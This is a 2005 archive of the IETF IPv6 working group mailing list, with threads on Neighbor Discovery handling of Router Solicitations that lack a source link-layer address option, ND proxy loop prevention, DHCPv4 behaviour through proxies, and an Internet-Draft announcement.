Content-Transfer-Encoding: 7bit Cc: Mark Doll , Roland Bless Subject: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d2e37451f7f22841e3b6f40c67db0f Content-Transfer-Encoding: 7bit Hi everybody. I have one question regarding IPv6 Neighbor Discovery: What happens when a router receives a RS with a valid (possibly tentative) source address, but no SLLAO is included? This can happen, for instance, with ODAD, where a host with a tentative address may want to solicit a RA with the tentative address. Section 3.2 (Modifications to RFC-mandated behaviour --> Modifications to RFC 2461 Neighbor Discovery) of draft-ietf-ipv6-optimistic-dad-05.txt says: [...] * (modifies 6.3.7) A node MUST NOT send a Router Solicitation with a SLLAO from an Optimistic Address. Router Solicitations SHOULD be sent from a non-Optimistic or the Unspecified Address, however they MAY be sent from an Optimistic Address as long as the SLLAO is not included. [...] IMO, neither RFC 2461 nor RFC 2461bis is clear on what a router should do in this case. RFC 2461, section 6.2.6 (Router and Prefix Discovery --> Processing Router Solicitations) says: [...] Router Solicitations in which the Source Address is the unspecified address MUST NOT update the router's Neighbor Cache; solicitations with a proper source address update the Neighbor Cache as follows. If the router already has a Neighbor Cache entry for the solicitation's sender, the solicitation contains a Source Link-Layer Address option, and the received link-layer address differs from that already in the cache, the link-layer address SHOULD be updated in the appropriate Neighbor Cache entry, and its reachability state MUST also be set to STALE. If there is no existing Neighbor Cache entry for the solicitation's sender, the router creates one, installs the link- layer address and sets its reachability state to STALE as specified in Section 7.3.3. Whether or not a Source Link-Layer Address option is provided, if a Neighbor Cache entry for the solicitation's sender exists (or is created) the entry's IsRouter flag MUST be set to FALSE. [...] The first "If..." doesn't hold because the SLLAO is assumed not to be included in the RS. The second "If..." actually holds, but states that the router "installs the link-layer address and sets its reachability state to STALE". Well, but what is to be done when we do not have the SLLAO? Does the router need to look up the source address from the MAC header? And if it does not and leaves the link-layer address empty, which state should it put the new NC entry in? RFC 2461[bis] doesn't seem to have a state appropriate for this situation. (FreeBSD actually uses its own state; more on this further down.) The part of section 7.3.3 (NUD --> Node Behavior) which the above text refers to is IMO the following: [...] A Neighbor Cache entry enters the STALE state when created as a result of receiving packets other than solicited Neighbor Advertisements (i.e., Router Solicitations, Router Advertisements, Redirects, and Neighbor Solicitations). These packets contain the link-layer address of either the sender or, in the case of Redirect, the redirection target. However, receipt of these link-layer addresses does not confirm reachability of the forward-direction path to that node. Placing a newly created Neighbor Cache entry for which the link-layer address is known in the STALE state provides assurance that path failures are detected quickly. In addition, should a cached link-layer address be modified due to receiving one of the above messages the state SHOULD also be set to STALE to provide prompt verification that the path to the new link-layer address is working. [...] Similar to the first extract, this one seems to assume that a SLLAO is always provided in an RS. So a newly created entry should be put into STALE state. But if there is no link-layer address, then the STALE state doesn't make much sense. The router might attempt to send a packet to that unspecified link-layer address as part of the NUD process. RFC 2461bis doesn't clarify these things. I might be wrong, but I think there is some inconsistency in RFC 2461bis. By the way, FreeBSD 5.3 kind of gets around this issue by using an additional NC-entry state, NOSTATE, for new entries for which the link-layer address is unknown. When a packet is to be forwarded (or send) to some neighbor, and the NC has an entry labeled NOSTATE, that entry is put into state INCOMPLETE and address resolution begins as usual. As far as I can see, the additional state is needed if a router actually creates a NC entry upon receiving a RS without SLLAO. An alternative would be not to create the NC entry. But this may not be appropriate on links layers without source addresses... Kind regards, - Christian -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ "No great genius has ever existed without some touch of madness." (Aristotle) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 15:08:22 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05223 for ; Fri, 18 Feb 2005 15:08:20 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Eci-0008C7-J8 for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 15:21:15 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2E7f-0005g4-KT; Fri, 18 Feb 2005 14:49:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Drl-0000Bf-GC for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 14:32:41 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA29777 for ; Fri, 18 Feb 2005 14:32:40 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2EDT-00070Q-Sg for ipv6@ietf.org; Fri, 18 Feb 2005 14:55:08 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 18 Feb 2005 14:31:40 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Date: Fri, 18 Feb 2005 14:31:54 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUV6gGhuVW6ZcqtSxyxqz8NO3juBQABbW8Q From: "Soliman, Hesham" To: "Christian Vogt" , X-OriginalArrivalTime: 18 Feb 2005 19:31:40.0653 (UTC) FILETIME=[786AD9D0:01C515F0] X-Spam-Score: 0.0 (/) X-Scan-Signature: 4b7d60495f1a7f2e853e8cbae7e6dbfc Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93df555cbdbcdae9621e5b95d44b301e Content-Transfer-Encoding: quoted-printable Christian,=20 Thanks for the detailed description. I think Nick brought this up some time ago too.=20 My suggestion is that upon reception of an RS with no SLLAO the=20 router checks if an entry already exists, if none exists then it creates one and puts it in STALE. If an entry already exists with a LLA then it responds with a (two options):=20 - unicast RA unless a multicast RA was already scheduled.=20 - A multicast RA.=20 I think the second option might be better to allow for ODAD to work. =20 Thoughts? Hesham=20 > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org]On=20 > Behalf Of > Christian Vogt > Sent: Friday, February 18, 2005 1:17 PM > To: ipv6@ietf.org > Cc: Mark Doll; Roland Bless > Subject: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 > Hi everybody. >=20 > I have one question regarding IPv6 Neighbor Discovery: What happens=20 > when a router receives a RS with a valid (possibly tentative) source=20 > address, but no SLLAO is included? >=20 > This can happen, for instance, with ODAD, where a host with=20 > a tentative=20 > address may want to solicit a RA with the tentative address.=20 > Section=20 > 3.2 (Modifications to RFC-mandated behaviour -->=20 > Modifications to RFC=20 > 2461 Neighbor Discovery) of=20 > draft-ietf-ipv6-optimistic-dad-05.txt says: >=20 > [...] > * (modifies 6.3.7) A node MUST NOT send a Router=20 > Solicitation with a > SLLAO from an Optimistic Address. Router=20 > Solicitations SHOULD > be sent from a non-Optimistic or the Unspecified Address, > however they MAY be sent from an Optimistic Address=20 > as long as > the SLLAO is not included. > [...] >=20 > IMO, neither RFC 2461 nor RFC 2461bis is clear on what a=20 > router should=20 > do in this case. RFC 2461, section 6.2.6 (Router and Prefix=20 > Discovery=20 > --> Processing Router Solicitations) says: >=20 > [...] > Router Solicitations in which the Source Address is the=20 > unspecified > address MUST NOT update the router's Neighbor Cache;=20 > solicitations > with a proper source address update the Neighbor Cache=20 > as follows. If > the router already has a Neighbor Cache entry for the=20 > solicitation's > sender, the solicitation contains a Source Link-Layer=20 > Address option, > and the received link-layer address differs from that=20 > already in the > cache, the link-layer address SHOULD be updated in the=20 > appropriate > Neighbor Cache entry, and its reachability state MUST=20 > also be set to > STALE. If there is no existing Neighbor Cache entry for the > solicitation's sender, the router creates one, installs the link- > layer address and sets its reachability state to STALE=20 > as specified > in Section 7.3.3. Whether or not a Source Link-Layer=20 > Address option > is provided, if a Neighbor Cache entry for the=20 > solicitation's sender > exists (or is created) the entry's IsRouter flag MUST be set to > FALSE. > [...] >=20 > The first "If..." doesn't hold because the SLLAO is assumed=20 > not to be=20 > included in the RS. The second "If..." actually holds, but=20 > states that=20 > the router "installs the link-layer address and sets its=20 > reachability=20 > state to STALE". Well, but what is to be done when we do=20 > not have the=20 > SLLAO? Does the router need to look up the source address=20 > from the MAC=20 > header? And if it does not and leaves the link-layer address empty,=20 > which state should it put the new NC entry in? RFC=20 > 2461[bis] doesn't=20 > seem to have a state appropriate for this situation. =20 > (FreeBSD actually=20 > uses its own state; more on this further down.) >=20 > The part of section 7.3.3 (NUD --> Node Behavior) which the=20 > above text=20 > refers to is IMO the following: >=20 > [...] > A Neighbor Cache entry enters the STALE state when created as a > result of receiving packets other than solicited Neighbor > Advertisements (i.e., Router Solicitations, Router=20 > Advertisements, > Redirects, and Neighbor Solicitations). These packets=20 > contain the > link-layer address of either the sender or, in the case=20 > of Redirect, > the redirection target. However, receipt of these link-layer > addresses does not confirm reachability of the=20 > forward-direction path > to that node. Placing a newly created Neighbor Cache=20 > entry for which > the link-layer address is known in the STALE state=20 > provides assurance > that path failures are detected quickly. In addition, should a > cached link-layer address be modified due to receiving one of the > above messages the state SHOULD also be set to STALE to provide > prompt verification that the path to the new link-layer=20 > address is > working. > [...] >=20 > Similar to the first extract, this one seems to assume that=20 > a SLLAO is=20 > always provided in an RS. So a newly created entry should=20 > be put into=20 > STALE state. But if there is no link-layer address, then the STALE=20 > state doesn't make much sense. The router might attempt to send a=20 > packet to that unspecified link-layer address as part of the=20 > NUD process. >=20 > RFC 2461bis doesn't clarify these things. I might be wrong,=20 > but I think=20 > there is some inconsistency in RFC 2461bis. >=20 > By the way, FreeBSD 5.3 kind of gets around this issue by using an=20 > additional NC-entry state, NOSTATE, for new entries for which the=20 > link-layer address is unknown. When a packet is to be forwarded (or=20 > send) to some neighbor, and the NC has an entry labeled=20 > NOSTATE, that=20 > entry is put into state INCOMPLETE and address resolution=20 > begins as usual. >=20 > As far as I can see, the additional state is needed if a=20 > router actually=20 > creates a NC entry upon receiving a RS without SLLAO. An=20 > alternative=20 > would be not to create the NC entry. But this may not be=20 > appropriate on=20 > links layers without source addresses... >=20 > Kind regards, >=20 > - Christian >=20 > --=20 > Christian Vogt, Institute of Telematics, University of Karlsruhe > www.tm.uka.de/~chvogt/pubkey/ >=20 > "No great genius has ever existed without some touch of > madness." (Aristotle) >=20 >=20 > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 16:42:19 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26398 for ; Fri, 18 Feb 2005 16:42:18 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2GEy-0006qy-Pc for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 17:04:48 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2EtA-0007t6-OP; Fri, 18 Feb 2005 15:38:12 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2EhE-0002z6-QZ; Fri, 18 Feb 2005 15:25:52 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08807; Fri, 18 Feb 2005 15:25:51 -0500 (EST) Message-Id: <200502182025.PAA08807@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Fri, 18 Feb 2005 15:25:50 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-addr-arch-v4-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : IP Version 6 Addressing Architecture Author(s) : R. Hinden, S. Deering Filename : draft-ietf-ipv6-addr-arch-v4-01.txt Pages : 25 Date : 2005-2-18 This specification defines the addressing architecture of the IP Version 6 protocol [IPV6]. The document includes the IPv6 addressing model, text representations of IPv6 addresses, definition of IPv6 unicast addresses, anycast addresses, and multicast addresses, and an IPv6 node's required addresses. This document obsoletes RFC-3513 "IP Version 6 Addressing Architecture". A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-addr-arch-v4-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-addr-arch-v4-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-addr-arch-v4-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-18144452.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-addr-arch-v4-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-addr-arch-v4-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-18144452.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Fri Feb 18 18:17:09 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19285 for ; Fri, 18 Feb 2005 18:17:09 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Him-0005aX-Aj for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 18:39:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Gds-00089C-Sa; Fri, 18 Feb 2005 17:30:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2F5y-0003qf-B1 for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 15:51:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11488 for ; Fri, 18 Feb 2005 15:51:24 -0500 (EST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2FRh-0001yE-Ki for ipv6@ietf.org; Fri, 18 Feb 2005 16:13:54 -0500 Received: from jurassic.eng.sun.com ([129.146.17.57]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id j1IKpONV002446; Fri, 18 Feb 2005 12:51:24 -0800 (PST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1IKpN2A274716; Fri, 18 Feb 2005 12:51:23 -0800 (PST) Message-ID: <42165527.2080100@sun.com> Date: Fri, 18 Feb 2005 12:50:47 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pekka Savola References: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Content-Transfer-Encoding: 7bit Cc: Margaret Wasserman , ipv6@ietf.org, Dave Thaler Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Content-Transfer-Encoding: 7bit Pekka Savola wrote: > With this, the ISP could prevent the user from running ND proxy, so > implementations will likely have a knob which would ignore this bit, but > still.. Since such an ISP would violate the "assign a /48 by default" recommendation, it might as well go all the way and only assign a /128 to the subscriber. So why would the ISP use the more cumbersome approach of 1) assiging a /64, and 2) lying by setting the P-bit in its RA? We can't solve the tussle that some ISPs might want to charge per host, while users might want to pay per "wire" and have lots of hosts. Given that the /128 is an option for the ISP, we can avoid entangling the protocol standards with this tussle, which is the best we can do IMHO. Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 18:17:10 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19305 for ; Fri, 18 Feb 2005 18:17:10 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Him-0005aW-AH for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 18:39:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Gdn-00085A-9o; Fri, 18 Feb 2005 17:30:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2F0g-0002Fu-1m for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 15:45:58 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11026 for ; Fri, 18 Feb 2005 15:45:56 -0500 (EST) Received: from brmea-mail-3.sun.com ([192.18.98.34]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2FMO-0001pD-2K for ipv6@ietf.org; Fri, 18 Feb 2005 16:08:25 -0500 Received: from jurassic.eng.sun.com ([129.146.17.57]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j1IKjthl008531; Fri, 18 Feb 2005 13:45:55 -0700 (MST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1IKjso6273288; Fri, 18 Feb 2005 12:45:54 -0800 (PST) Message-ID: <421653DE.7040806@sun.com> Date: Fri, 18 Feb 2005 12:45:18 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dave Thaler References: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Content-Transfer-Encoding: 7bit Cc: Margaret Wasserman , ipv6@ietf.org Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: 7bit Dave Thaler wrote: > I agree this may be interesting, but it would be good to start a new > thread, > since it is for a very different scenario than a proxy, which has the > constraint that it must be completely transparent to the router. What I sketched would be completely transparent to the router. It is merely a mechanism to prevent a large class of loops by ensuring that a proxy can not be a child of another proxy. Thus this can NOT happen: Router | ------------------------ | | Proxy1 Proxy2 | | ---- Proxy3 -------- Proxy3 will not enable its proxy capability because it receives RAs with the P bit set. While this CAN happen: Router | ------------------------ | | Proxy1 Proxy2 | | ------------------- | Host But perhaps this can be prevented as well, by having the proxy disable itself it it receives a RA (P bit or not?) on its downstream interface (Could still have a temporary loop, unless we require that the proxy send its P-bit RA on the downstream interface for a while before enabling the proxying/flooding. Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 18:36:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21505 for ; Fri, 18 Feb 2005 18:36:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2I1Y-0006Iz-CX for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 18:59:04 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2HE0-0005hg-5Y; Fri, 18 Feb 2005 18:07:52 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2FQM-0007Mx-BM for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 16:12:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA16869 for ; Fri, 18 Feb 2005 16:12:28 -0500 (EST) Received: from rtp-iport-2.cisco.com ([64.102.122.149]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Fm5-0003fc-VK for ipv6@ietf.org; Fri, 18 Feb 2005 16:34:58 -0500 Received: from rtp-core-1.cisco.com (64.102.124.12) by rtp-iport-2.cisco.com with ESMTP; 18 Feb 2005 16:11:59 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j1ILBv1j009178 for ; Fri, 18 Feb 2005 16:11:57 -0500 (EST) Received: from rdroms-w2k01.cisco.com (sjc-vpn4-400.cisco.com [10.21.81.144]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APG15789; Fri, 18 Feb 2005 16:11:55 -0500 (EST) Message-Id: <4.3.2.7.2.20050218161058.00c9efb0@flask.cisco.com> X-Sender: rdroms@flask.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Feb 2005 16:11:52 -0500 To: From: Ralph Droms In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC1102A6BD7@win-msg-01.wingro up.windeploy.ntdev.microsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Subject: Re: [NDProxy#20] DHCPv4 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 244a2fd369eaf00ce6820a760a3de2e8 At 10:35 AM 2/16/2005 -0800, Dave Thaler wrote: >Summary (from Ralph Droms): > > There are two small issues with the mechanism for accommodating >DHCPv4. > > First, the mechanism is incompatible with the authentication protocol > > for DHCPv4 described in RFC 3118. In fact, the mechanism will be > > incompatible with any authentication that verifies the integrity of >the > > data in the DHCPv4 message header, as changing the broadcast bit from >0 > > to 1 should be detected as a change in the contents of the message. > > Second, there should be a warning that a DHCPv4 client might detect, > > with subsequently undefined behavior, that the broadcast bit has been > > changed from the setting in the message originally set by the client. > >Issue page (no further discussion so far): >http://www.icir.org/dthaler/NDProxyIssues.htm#Issue%2020 > >The text Ralph refers to is section 4.1.3.3: > > If the received packet is a DHCPv4 DISCOVER or REQUEST message, > > then instead of changing the client's hardware address in the > > payload, the BROADCAST (B) flag is set in the proxied packet. > > This ensures that the proxy will be able to receive and proxy the > > response since the response will be broadcast rather than unicast > > to that hardware address. The hardware address is thus used only > > as a unique identifier and hence need not be a link-layer address > > on the same segment. > >Is there a better behavior for DHCPv4 that should be recommended? The >current rule just documents existing practice in (at least some) ARP >proxies. I don't know of better behavior and, in fact, I wasn't aware of this behavior in ARP proxies... >Assuming documenting existing practice for information is okay, >here's proposed text to be added after the paragraph quoted above: > > > One limitation of this rule is that if the authentication protocol > > for DHCPv4 described in [DHCPAUTH] is used, only clients that set > > the BROADCAST flag themselves will be able to use DHCPv4 through > > the proxy. If [DHCPAUTH] is not used, a DHCPv4 client might still > > detect, with previously undefined behavior, that the broadcast bit > > has been changed from the setting in the message originally set by > > the client. However, the point of this rule is not to solve this > > problem, but rather to document existing practice. That text is fine with me. >-Dave > > >-------------------------------------------------------------------- >IETF IPv6 working group mailing list >ipv6@ietf.org >Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 18:54:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26129 for ; Fri, 18 Feb 2005 18:54:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2IJ6-0007r4-76 for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 19:17:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2HJU-00045z-Nn; Fri, 18 Feb 2005 18:13:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2GGW-0005Mb-2C for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 17:06:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04172 for ; Fri, 18 Feb 2005 17:06:22 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2GcG-0000sI-1x for ipv6@ietf.org; Fri, 18 Feb 2005 